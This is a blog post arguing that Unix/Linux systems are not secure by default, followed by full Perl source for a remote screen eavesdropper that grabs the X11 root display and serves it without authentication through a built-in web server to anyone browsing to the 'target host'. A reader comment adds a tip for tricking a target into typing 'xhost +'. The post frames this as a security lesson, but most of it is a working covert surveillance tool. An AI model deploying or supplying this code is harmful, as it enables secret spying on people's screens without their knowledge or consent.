( unix/linux = !safe ) unless ( security == holistic )

There is a long held misbelief in the unix / linux crowd that their systems are inherently secure. Whereas it is the case that windows based systems are severely encumbered in the security field, their  unix cousins  have a whole set of issues all by themselves, as the perlism in the title tries to show.

One such issue that I will deal with here is the notorious ability to audit/monitor the usage of the terminal. OK let’s call it with its proper name, it is eavesdropping. In the windows world there a are a number of companies offering applications to that extent, including the author of this here blog with his project rautor. If you would think that such a thing is not possible in the unix world, sorry to disappoint you, it is patently easy!

While toying with the idea of a unix screen grabber to complement my project rautor, I came across to much forgotten legacy lost in the mists of project Athena, X11 for the rest of us mere mortals. Yes X11 has had the ability to grab the terminal’s screen since time immemorial, so after adapting some of my rautor code I came up with a remote console eavedropper  for linux and other unix systems. Run it on the target host and from another terminal,  using only a  browser, request a url like http://the_target_ip:420000/. Whammo you get the console screen. If you want another screen adjust the DISPLAY variable in the code.

The moral of the above snippet is that ( unix/linux != safe )   unless ( security == holistic ). One must have a complete outlook on what IT security is not just buy into the promises of a vendor. IT Security is an attitude, not a product and it must be holistic. Little known tricks or utilities  of each platform, like the xwd utility that dumps X11 screens, can wreak havoc with a poorly envisioned IT security modus operandi.

and here is the code

#!/usr/bin/perl -w
#
# A screen grabber with an embedded Web Server
# Angelos Karageorgiou
# angelos@unix.gr
#

package Rautor; # look for it under sourceforge

use common::sense;

use HTTP::Daemon;
use HTTP::Response;
use HTTP::Status;
use HTTP::Request;
use Getopt::Long;
use IO::Socket::INET;
use IO::Select;
use File::Temp qw|tempdir|;
use Fcntl qw |:flock|;
use Carp;

my $PORT=42000;
my $VERBOSE='';
my $format="png";
my $imgFname="screen.$format";
my $SLEEP=5;
#my $CMDLINE="/usr/bin/import -silent -window root";
my $CMDLINE="/usr/bin/xwd -root -silent | /usr/bin/xwdtopnm -quiet | /usr/bin/pnmtopng";

$ENV{"DISPLAY"}=":0.0";	# just in case

GetOptions (
        'verbose'   => $VERBOSE,
);

print "Port is $PORTn" if ( $VERBOSE);

my $RepeatHeader="<HEAD><META HTTP-EQUIV=REFRESH CONTENT=$SLEEP></HEAD>rn
<table width="100%" height="100%" border="0" cellpadding="2" cellspacing="2" style="position:relative">rn
";

my $sessdir = tempdir ( "sessXXXXXX", TMPDIR => 1 , CLEANUP => 1);

open(my $LOCKFILE ,">/tmp/sesslock") || carp("cannot create lock file");

$HTTP::Daemon::PROTO = "HTTP/1.0";
my $daemon  = HTTP::Daemon->new(Listen=>3,LocalPort=>$PORT, ReuseAddr=>1) || die "cannot spawn http server";
my $sel= IO::Select->new();
$sel->add($daemon);

while(my @ready = $sel->can_read()) { # 1 sec timeout
     foreach my $fh (@ready) {
         if($fh == $daemon) {
            # Create a new socket
            my $new = $daemon->accept;
            $sel->add($new);	# add it to the select list
         } else {
		my @ip = unpack("C4",$fh->peeraddr);
		my $ip=join(".",@ip);
		print "Connection from $ipn" if ( $VERBOSE);
		process_one_req($fh,$ip);
		$sel->remove($fh);
		$fh->close;
        }
    }
  }

1;

########################################################################################
sub process_one_req {
my $connection = shift;
#my $SESSIONID=shift;
my $IP=shift;

	my $RepeatHTML=$RepeatHeader;

 	my $receiver = $connection->get_request;
	if ( ! $receiver ) {
		return;
	}
	if (! ($receiver->method eq 'GET') ){					# Method GET
       		$connection->send_error(RC_FORBIDDEN);
			return;
	}
	$receiver->url->path =~ m/^/(.*)$/mi;
	my $path=$1;

	if ( ($path eq "monitor" ) || ($path eq "" ) ) 	{
		domonitor($connection,$RepeatHTML,$IP);
		return;
	}

    if  ($path =~ /^screen([1-9]*).$format$/ )  {	# Screen[1-9].$format

		my $scrnum=1;
		if ( $1 ) {
			$scrnum=$1;
		}
		my $res=screendumper_UNIX($scrnum);
		my $fname="screen".$scrnum.".$format";
		if ( $fname eq "screen.$format" ) {
			$fname="screen1.$format";
		}
		if ( ! -f "$sessdir/$fname" )  {
          		$connection->send_error(404,"Could not grab the screen num $scrnum");
			$connection->close;
			undef($connection);
			return;
		}
       	my $response = HTTP::Response->new(200);
       	$response->push_header('Content-Type','image/$format');
		$connection->send_response($response);
		$connection->send_file("$sessdir/$fname");
		unlink $fname;
	return;
	}

	# no matches
	$connection->send_error(RC_FORBIDDEN);
}

######################################################################
sub domonitor{
	my ($connection,$RepeatHTML,$SESSIONID,$IP)=@_;
	my $span=2;
	my $NumScreens=1;
	my $KEYLOG="";
	for (my $i=1;$i<=$NumScreens;$i++){
		my $fname="screen".$i.".$format";
		$RepeatHTML .= "<tr><td colspan=$span>";
		$RepeatHTML .= "<img src="/$fname" width="100%" height="100%" align=center></td>rn";
		if ( ( $i % 2 ) == 0 ) {
			$RepeatHTML .= "</tr>rn<tr>";
		}
	}

	$RepeatHTML .= "</tr>";

	$RepeatHTML .= "</table>";

    my $response = HTTP::Response->new(length($RepeatHTML));
    $response->content($RepeatHTML);
	$connection->send_response($response);
	$KEYLOG=""; # reset untill next call
}

############################################################
sub screendumper_UNIX{
	my $scrnum=shift;
	lock($LOCKFILE);
	print "Calling systemn" if ( $VERBOSE );
#	system("/usr/bin/import -silent -window root $sessdir/screen".$scrnum.".$format");
	system($CMDLINE . ">" .  $sessdir . "/screen" . $scrnum . ".". $format);
	print "Import donen" if ( $VERBOSE );
	unlock($LOCKFILE);
	return 1;
}

############################################################
sub lock {
	my ($fh) = @_;
	flock($fh, LOCK_EX) or die "Cannot lock session - $!n";
}

############################################################
sub unlock {
	my ($fh) = @_;
	flock($fh, LOCK_UN) or die "Cannot unlock session - $!n";
}
Advertisements

2 thoughts on “( unix/linux = !safe ) unless ( security == holistic )

  1. adamo says:

    You reminded me of the days that xkey.c was quite popular!

  2. Same here! Just get your target to type “xhost +” and fire away..

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: